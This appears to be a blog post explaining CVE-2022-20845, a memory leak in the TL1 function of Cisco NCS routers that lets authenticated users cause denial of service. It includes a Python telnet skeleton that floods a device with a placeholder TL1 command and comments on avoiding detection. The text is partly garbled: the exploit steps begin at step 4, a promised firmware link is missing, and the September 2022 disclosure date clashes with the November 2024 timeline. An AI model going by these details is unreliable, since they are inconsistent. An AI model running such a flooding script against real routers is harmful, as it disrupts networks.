CVE-2022-20845 - Memory Leak Vulnerability in Cisco NCS 400 Series — Detailed Exploit Analysis

In September 2022, Cisco disclosed CVE-2022-20845, a high-impact security vulnerability found in the TL1 function of the Cisco Network Convergence System (NCS) 400 Series routers. While the official advisory is full of technical jargon, this post breaks it down in straightforward American English. We’ll explain what this vulnerability is, how it can be exploited, provide some exclusive technical insight, and give you all the resources you need to keep your systems safe.

What is CVE-2022-20845?

CVE-2022-20845 is a software bug in Cisco's NCS 400 Series routers involving the TL1 (Transaction Language 1) process. Under certain conditions, this process doesn't free up memory after use. If someone with access to the router abuses this flaw, the system’s memory fills up until crucial processes have to be restarted or shut down. This can lead to a Denial of Service (DoS)—meaning your network routers could become unresponsive or even crash.

Affected Products

- Cisco Network Convergence System (NCS) 400 Series running specific versions of Cisco IOS XR software.

Conditions

- Attacker must be authenticated and have local access to the device. This isn’t a remote attack: the attacker already needs access to the router—either physically or via proper credentials.
- TL1 commands must be issued. These are special commands used for configuring and managing the router.

Vulnerability Details (Simple Explanation)

When the router’s TL1 function handles certain commands, it sometimes forgets to clean up after itself. Imagine the process like someone makes coffee and keeps leaving dirty cups everywhere instead of washing them. After a while, the sink is full, the counter is full, until you can’t make coffee anymore! In this case, the cups are memory "chunks" and the process eventually crashes or restarts the most "hungry" programs to recover, which could disrupt your network.

Cisco’s own advisory:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-tl1-memleak-KXC9YJMV

How an Exploit Might Work

Let’s imagine a user named _Sam_ who has admin credentials to the NCS router.

Each command that triggers the leak eats up a little more memory.

4. After repeating this, the internal memory fills up until the router’s Resource Monitor starts killing some processes to free memory.
5. Critical system processes are shut down or restarted (including the management interface), causing denial-of-service.

Example Exploit Code Snippet (Python-style Psuedocode)

> Please note, this is not real exploit code, just a illustration for education!

import telnetlib
import time

HOST = "10...1"            # Replace with real device IP
USER = "admin"
PASS = "password"
TL1_CMD = "FORMAT TL1 COMMAND THAT TRIGGERS LEAK\r\n"

tn = telnetlib.Telnet(HOST)
tn.read_until(b"Username:")
tn.write(USER.encode('ascii') + b"\n")
tn.read_until(b"Password:")
tn.write(PASS.encode('ascii') + b"\n")

for i in range(100):  # Adjust number as needed to trigger resource exhaustion
    tn.write(TL1_CMD.encode('ascii'))
    print(f"Sent TL1 command {i}")
    time.sleep(.1)    # Small delay to avoid detection

print("Commands sent. Check device for resource consumption.")
tn.close()

> Note: You must be authenticated on the router, and know which TL1 command is vulnerable. The above is a teaching tool, not a real-world exploit.

What’s the Real Risk?

If a malicious admin or someone who’s gained credentials is motivated, they can intentionally crash (DoS) the router or severely disrupt the operator’s network by flooding it with commands that eat up memory. Since key processes get restarted or killed, even temporary loss of management can disrupt critical communications — an operator cannot configure or monitor the device.

No Workarounds — Patch Required!

There are NO workarounds. The only way to fix this problem is by updating the IOS XR software on your NCS 400. Firmware updates from Cisco for this vulnerability are available here.

Cisco Advisory and Reference Links

- Cisco Security Advisory (Original, Severity: High)
- NVD Entry for CVE-2022-20845
- Cisco IOS XR Software Security Advisory Bundled Publication (September 2022)

Update your NCS 400 routers to the latest IOS XR software version.

- Audit admin access: Only trusted users should have credentials. Remove and rotate passwords of ex-employees.

TL;DR

CVE-2022-20845 lets authenticated users crash your Cisco NCS 400 routers by leaking memory through TL1 commands. There’s no easy fix — you MUST update your firmware.

Final Thoughts

Security bugs like this show how important it is to always patch network gear, and restrict who gets admin access. If you use Cisco NCS 400 routers, don’t wait—get your updates done today!


If you found this explanation helpful, share it with your network team. Have questions about securing your Cisco equipment? Let us know in the comments below!

Timeline

Published on: 11/15/2024 16:15:22 UTC
Last modified on: 11/18/2024 17:11:56 UTC